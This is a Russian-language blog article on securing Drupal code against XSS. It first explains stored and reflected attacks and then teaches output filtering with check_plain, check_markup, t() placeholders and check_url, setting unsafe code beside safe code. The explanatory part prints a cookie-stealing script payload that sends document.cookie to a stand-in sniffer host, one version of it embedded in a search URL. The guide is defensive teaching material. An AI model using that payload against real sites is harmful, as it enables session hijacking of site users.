ShvetsGroup

 

Captions

RSS Следите за нашим блогом и будьте в курсе последних новостей.

 

Безопасный код: Работа с пользовательским вводом

  • Аватар пользователя neochief
0 комментариев

Безопасный код: Работа с пользовательским вводом

Статья эвакуирована с DrupalDance.com

Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.

Некоторые сценарии XSS атак

Устойчивая атака

  • Вова создает частицу контента на сайте Пети.
  • Когда Маша просматривает этот контент, Вовин XSS ворует Машины куки.
  • Теперь Вова может пробраться на сайт, используя Машину сессию.
  • Чем более людей увидит этот контент, тем более успешной можно считать атаку. Максимум достигается путем создания противоречивых холиварных тем на сайте и т.д.

Вот вам простейший пример как именно происходит воровство куков и их использование.

  • На страницу вставляется код іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie;іpt>.
  • На другом конце скрипта стоит логгер запросов. Злоумышленник выбирает из этого лога идентификатор сессии, и создает свою куку, аналогичную куке жертвы.
  • Теперь злоумышленник просто может зайти браузером на сайт, причем уже влогиненным в аккаунт пользователя-жертвы (кука-то жертвы).

И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.

Неустойчивая атака

  • Юля использует сайт, написанный Ахмедом. Ахмед предоставляет ей возможность заходить на сайт, используя логин/пароль и держать там личные данные.
  • Вова обыскивает сайт Ахмеда и находит XSS уязвимость.
  • Вова формирует специальную ссылку и отправляет ее Юле по аське.
  • Юля, находясь залогиненной на сайте, переходит по Вовиной ссылке.
  • Запускается XSS, завязанный в ссылке страницы. (Здесь уже все зависит от криворукости Ахмеда и мастерства Вовы. Это может быть использование связанной CSRF уязвимости — Юля, сама того не зная, может отправить пачку спама, удалить весь контент на сайте и т.д., так и более приземленное — кража секретной информации, либо куков.

Что означает XSS, завязанный в ссылке? Очень распространенный пример — форма поиска, с таким кодом
.

Теперь, если в адресной строке написать http://site.ru/search.php?srch=">іmg=new Image();іmg.srс="http://snifsite/s.php" +document.cookie;іpt>, мы получим куки каждой жертвы, посетившей этот URL.

Как обезопасить код от XSS?

Ответ прост — фильтровать вывод на страницу.

Методы фильтрации в Друпале

Золотое правило работы с данными — хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.

Поздняя фильтрация также обезопасит вас от включения XSS сторонними модулями, в процессе модификации загруженных из базы данных (конечно, если вы предоставляете такую возможность).

Весь пользовательский ввод можно разделить на два типа:

  1. Текст без разметки (plain text)

    Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain(), которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.

    Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию:

    • t(): В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:
      • !variable — вставится без изменений
      • @variable — пройдет через check_plain().
      • %variable — пройдет через theme('placeholder').
    • l(): Текст ссылки всегда проходит через check_plain(), кроме случаев, когда явно не выставлен ее параметр $html.
    • Элементы меню и «хлебных крошек»: Заголовки автоматически фильтруются.
    • theme('placeholder', $variable): (в реализации по-умолчанию) входящие параметры фильтруется.
    • Описания блоков.
    • Имена пользователей, выводимые через theme('username') (в реализации по-умолчанию).
    • Параметры Form API #default_value и #options (только когда #type == 'select').

    Есть места, в которых никогда не надо забывать о фильтрации:

    • Заголовки страниц, установленных через drupal_set_title(). Заголовки в теле страницы не фильтруются автоматом, чтобы у пользователя имелась возможность использовать там такие теги как . Это не касается заголовка в теге , так как оттуда все теги вырезаются всегда. Примечание: Ситуация изменилась в Drupal 7. Теперь, фильтрация будет осуществляться по-умолчанию, а если необходимо подать в заголовке HTML, нужно будет указать соответствующий параметр в функции drupal_set_title().
      Пример:
      drupal_set_title($node->title); // Опасно
      drupal_set_title(check_plain($node->title));  // Безопасно
    • Заголовки блоков, поданные через hook_block(). Та же причина, что и с заголовками страниц.
    • Сообщения системного лога (watchdog):
      Пример:
      //Drupal 5:
      watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS
      watchdog('content', t("Deleted %title", array('%title' => $node->title))); // или @
      
      //Drupal 6 (The message and variables are passed through t() by the watchdog function):
      watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS
      watchdog('content', "Deleted %title", array('%title' => $node->title)); // или @
    • Параметры Form API #description и #title:
      Примеры:
      $form['bad'] = array(
      '#type' => 'textfield',
      '#default_value' => check_plain($u_supplied),  // плохо: фильтруется дважды
      '#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS
      );
      
      $form['good'] = array(
      '#type' => 'textfield',
      '#default_value' => $u_supplied,
      '#description' => t("Old data: @data", array('@data' => $u_supplied)),
      );
    • Параметры Form API #options когда #type равен checkboxes или radios:
      Примеры:
      $form['bad'] = array(
        '#type' => 'checkboxes',
        '#options' => array($u_supplied0, $u_supplied1),
      );
      
      $form['good'] = array(
        '#type' => 'checkboxes',
        '#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)),
      );
    • Параметры Form API #value, если #type равен markup (помните, что markup — это значение по-умолчанию для #type).
      Примеры:
      $form['unsafe'] = array('#value' => $user->name); //XSS
      $form['safe'] = array('#value' => check_plain($user->name));
      // или
      $form['safe'] = array('#value' => theme('username', $user));
  2. Текст с разметкой

    Размеченный текст нужно фильтровать с помощью check_markup(). Эта функция принимает на вход, кроме самого текста, формат ввода, который содержит правила фильтрации. Поэтому, при формировании форм для текста с разметкой, имеет смысл вводить рядом с многострочными полями виджет для выбора формата ввода(filter_form()).

    Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через check_markup(), должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр в check_markup(). Но вы должны всегда проверять эти права с помощью filter_access() при отправке самой формы с этим контентом.

  3. URL'ы

    • Основная часть урла в функциях l(), url(), request_uri() уже фильтрируется, но вам нужно самостоятельно позаботится о фильтрации GET параметров и якорного фрагмента. Это нужно затем, чтобы случайная или умышленная подача символа # в GET параметрах, не испортила весь урл. Используйте для фильтрации функцию urlencode().
      Пример:
      // Плохо
      l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); // не фильтруются параметры и фрагмент
      l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); // основной путь ссылки не нужно фильтровать
      
      // Хорошо
      l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));
    • Когда выводите урл на страницу, пропускайте его через check_url(), который вызывает не только check_plain(), но и проверку правильности протокола урла.
      Пример:
      // Плохо
      print '';
      print '';
      
      // Хорошо
      print '';

-=Бонус=-

Видео-доклад «Introduction Security» с прошедшего друпалкона:


Скачать ролик (226Mb)

Остальные статьи цикла «Безопасный код»

Хотите что-то добавить?